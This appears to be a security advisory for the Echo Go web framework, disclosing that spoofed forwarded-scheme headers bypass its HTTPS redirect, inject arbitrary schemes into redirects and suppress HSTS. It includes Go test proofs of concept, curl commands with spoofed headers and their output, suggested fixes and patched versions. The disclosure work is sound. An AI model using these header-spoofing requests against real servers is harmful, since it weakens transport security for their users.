Details
Proof of Concept
Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).
PoC 1: HTTPS Redirect Bypass (Go test)
package echo_test
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func TestHTTPSRedirectBypass(t *testing.T) {
e := echo.New()
e.Pre(middleware.HTTPSRedirect())
e.GET("/", func(c *echo.Context) error {
return c.String(http.StatusOK, "served over: "+c.Scheme())
})
// Normal HTTP → should redirect
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
e.ServeHTTP(rec, req)
if rec.Code != http.StatusMovedPermanently {
t.Fatalf("expected 301, got %d", rec.Code)
}
t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))
// Attack: all 4 headers bypass the redirect
headers := map[string]string{
"X-Forwarded-Proto": "https",
"X-Forwarded-Protocol": "https",
"X-Forwarded-Ssl": "on",
"X-Url-Scheme": "https",
}
for name, value := range headers {
req := httptest.NewRequest(http.MethodGet, "/", nil)
req.Header.Set(name, value)
rec := httptest.NewRecorder()
e.ServeHTTP(rec, req)
if rec.Code == http.StatusOK {
t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
}
}
}
PoC 2: curl examples (easiest to reproduce)
Start a minimal Echo server:
package main
import (
"net/http"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
e.Pre(middleware.HTTPSRedirect())
e.GET("/", func(c *echo.Context) error {
return c.String(http.StatusOK, "Hello on "+c.Scheme())
})
e.Start(":8080")
}
Then:
# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/
# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https
# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https
# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https
# Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https
PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)
func TestArbitrarySchemeInRedirect(t *testing.T) {
e := echo.New()
e.Pre(middleware.WWWRedirect())
e.GET("/", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
})
req := httptest.NewRequest(http.MethodGet, "/", nil)
req.Host = "example.com"
req.Header.Set("X-Forwarded-Proto", "javascript")
rec := httptest.NewRecorder()
e.ServeHTTP(rec, req)
// Redirect Location uses the spoofed scheme
loc := rec.Header().Get("Location")
// loc == "javascript://www.example.com/" — violates http/https contract
t.Logf("Status: %d, Location: %s", rec.Code, loc)
}
PoC 4: HSTS Suppression
func TestHSTSSuppression(t *testing.T) {
e := echo.New()
e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
e.GET("/", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
})
// Legitimate: proxied HTTPS should have HSTS
req := httptest.NewRequest(http.MethodGet, "/", nil)
req.Header.Set("X-Forwarded-Proto", "https")
rec := httptest.NewRecorder()
e.ServeHTTP(rec, req)
if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
t.Fatal("HSTS missing when it should be present")
}
// Attack: suppress HSTS by spoofing "http"
// In production: app behind TLS-terminating proxy, proxy delivers response
// to client over HTTPS, but HSTS header is absent due to spoofed header
req2 := httptest.NewRequest(http.MethodGet, "/", nil)
req2.Header.Set("X-Forwarded-Proto", "http")
rec2 := httptest.NewRecorder()
e.ServeHTTP(rec2, req2)
if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
}
}
Test output (all attacks succeed)
=== RUN TestHTTPSRedirectBypass
Normal HTTP → 301 (redirect to https://example.com/)
BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
BYPASS via X-Url-Scheme: https → 200 (no redirect!)
=== RUN TestArbitrarySchemeInRedirect
Status: 301, Location: javascript://www.example.com/
=== RUN TestHSTSSuppression
VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http
Precedent CVEs
- CVE-2018-1193 — Cloud Foundry GoRouter: unverified
X-Forwarded-Protoheader trusted for scheme, enabling HTTPS enforcement bypass. Fixed by addingsanitize_forwarded_protooption. - CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.
Suggested fix
Option A: SchemeExtractor (recommended, backward-compatible with opt-in)
Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:
type SchemeExtractor func(req *http.Request) string
// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }
// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }
Usage:
// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()
// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
echo.TrustIPRange(proxySubnet),
)
The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.
Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)
Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).
Both options should be applied together.
Patches
Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.